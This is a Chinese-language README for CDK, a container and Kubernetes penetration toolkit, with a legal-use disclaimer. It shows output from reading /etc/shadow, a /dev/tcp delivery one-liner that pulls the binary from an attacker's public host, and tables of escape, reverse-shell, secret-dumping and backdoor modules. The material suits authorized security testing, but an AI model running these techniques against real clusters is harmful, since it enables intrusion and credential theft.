英文 | 简体中文

未经事先双方同意,使用CDK攻击目标是违法的。CDK仅用于安全测试目的。
CDK是一个开源的容器渗透工具包,旨在无需任何操作系统依赖的情况下,在不同的精简容器中提供稳定的利用。它附带了有用的网络工具和许多强大的PoC/EXP,帮助您轻松逃离容器并接管K8s集群。
运行 cdk eva 获取评估信息和推荐的利用方式,然后运行 cdk run 开始攻击。
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
从 https://github.com/cdk-team/CDK/releases/ 下载最新版本发布。
将可执行文件放入目标容器并开始测试。
如果你有一个可以上传文件的利用,那么你可以直接上传CDK二进制文件。
如果你有一个RCE利用,但目标容器没有curl或wget,你可以使用以下方法投递CDK:
(在你的主机上)
nc -lvp 999 < cdk
cat < /dev/tcp/(你的公网主机IP)/(端口) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK有三个模块:
用法
cdk evaluate [--full]
列出所有可用的利用:
cdk run --list
运行目标利用:
cdk run <script-name> [options]
关于精简版(Thin)的说明: 精简版发布是为短期存在的容器shell(如serverless函数)准备的。我们在源代码中添加了编译标签,并裁剪了一些利用以使二进制文件更轻量。2MB的文件包含了CDK 90%的功能,你也可以从CDK源码中选择有用的利用来构建自己的轻量级二进制文件。
像在Linux中一样运行命令,输入参数略有不同,请参见用法链接。
cdk nc [options]
cdk ps
如果您想知道我们如何发布新版本、精简版是如何生成的、为什么提供upx版本、所有版本、普通版、精简版、upx版本之间的区别是什么,以及如何选择特定的CDK利用和工具来编译自己的发行版,请查看发布文档。
首先,感谢您花时间做出贡献!
感谢以下贡献者:
更多贡献者:贡献者列表
Bug通过GitHub Issues进行追踪。创建一个issue,包含当前的CDK版本、错误信息和运行环境。描述重现问题的精确步骤。
增强建议通过GitHub Discussions进行追踪。您可以在此发布任何想法,直接与开发者讨论。
修复问题或维护CDK质量:
新功能或利用:

CDK项目现已纳入404Team 星链计划2.0。加入星链社区与CDK开发团队取得联系。
| 战术 | 脚本 | 支持 | 用法/示例 |
|---|
| 信息收集 | OS基本信息 | ✔ | 链接 |
| 信息收集 | 可用能力(Capabilities) | ✔ | 链接 |
| 信息收集 | 可用Linux命令 | ✔ | 链接 |
| 信息收集 | 挂载点 | ✔ | 链接 |
| 信息收集 | 网络命名空间 | ✔ | 链接 |
| 信息收集 | 敏感环境变量 | ✔ | 链接 |
| 信息收集 | 敏感进程 | ✔ | 链接 |
| 信息收集 | 敏感本地文件 | ✔ | 链接 |
| 信息收集 | Kube-proxy 路由本地网络(CVE-2020-8558) | ✔ | 链接 |
| 信息收集 | 基于DNS的服务发现 | ✔ | 链接 |
| 发现 | K8s Api-server信息 | ✔ | 链接 |
| 发现 | K8s Service-account信息 | ✔ | 链接 |
| 发现 | 云提供商元数据API | ✔ | 链接 |
| 战术 | 技术 | CDK利用名称 | 支持 | 精简版(Thin)支持 | 文档 |
|---|
| 逃逸 | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| 逃逸 | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | 链接 | |
| 逃逸 | docker.sock PoC (DIND攻击) | docker-sock-check | ✔ | ✔ | 链接 |
| 逃逸 | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | 链接 |
| 逃逸 | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | 链接 |
| 逃逸 | 设备挂载逃逸 | mount-disk | ✔ | ✔ | 链接 |
| 逃逸 | LXCFS逃逸 | lxcfs-rw | ✔ | ✔ | 链接 |
| 逃逸 | Cgroups逃逸 | mount-cgroup | ✔ | ✔ | 链接 |
| 逃逸 | 滥用非特权用户命名空间逃逸 CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | 链接 |
| 逃逸 | Procfs逃逸 | mount-procfs | ✔ | ✔ | 链接 |
| 逃逸 | Ptrace逃逸PoC | check-ptrace | ✔ | ✔ | 链接 |
| 逃逸 | 重写Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | 链接 |
| 逃逸 | 从主机系统读取任意文件 (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | 链接 |
| 发现 | K8s组件探测 | service-probe | ✔ | ✔ | 链接 |
| 发现 | 转储Istio Sidecar元数据 | istio-check | ✔ | ✔ | 链接 |
| 发现 | 转储K8s Pod安全策略 | k8s-psp-dump | ✔ | 链接 | |
| 远程控制 | 反弹Shell | reverse-shell | ✔ | ✔ | 链接 |
| 远程控制 | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| 凭证获取 | 镜像仓库暴力破解 | registry-brute | ✔ | ✔ | 链接 |
| 凭证获取 | 访问密钥扫描 | ak-leakage | ✔ | ✔ | 链接 |
| 凭证获取 | Etcd获取K8s Token | etcd-get-k8s-token | ✔ | ✔ | |
| 凭证获取 | 转储K8s Secrets | k8s-secret-dump | ✔ | ✔ | 链接 |
| 凭证获取 | 转储K8s Config | k8s-configmap-dump | ✔ | ✔ | 链接 |
| 权限提升 | K8s RBAC绕过 | k8s-get-sa-token | ✔ | ✔ | 链接 |
| 权限提升 | CVE-2026-31431 copy-fail (非root→root 仅x86_64) | copy-fail-cve-2026-31431 | ✔ | 链接 | |
| 持久化 | 部署WebShell | webshell-deploy | ✔ | ✔ | 链接 |
| 持久化 | 部署后门Pod | k8s-backdoor-daemonset | ✔ | ✔ | 链接 |
| 持久化 | 部署影子K8s api-server | k8s-shadow-apiserver | ✔ | 链接 | |
| 持久化 | K8s MITM攻击 (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | 链接 |
| 持久化 | 部署K8s CronJob | k8s-cronjob | ✔ | ✔ | 链接 |
| 命令 | 描述 | 支持 | 用法/示例 |
|---|
| nc | TCP隧道 | ✔ | 链接 |
| ps | 进程信息 | ✔ | 链接 |
| netstat | 类似"netstat -antup"命令 | ✔ | |
| ifconfig | 网络信息 | ✔ | 链接 |
| vi | 编辑文件 | ✔ | 链接 |
| ectl | 对etcd密钥的未授权枚举 | ✔ | |
| kcurl | 向K8s api-server发送请求 | ✔ | 链接 |
| dcurl | 向Docker HTTP API发送请求 | ✔ | 链接 |
| ucurl | 向Docker Unix Socket发送请求 | ✔ | 链接 |
| rcurl | 向Docker Registry API发送请求 | ||
| probe | IP/端口扫描 | ✔ | 链接 |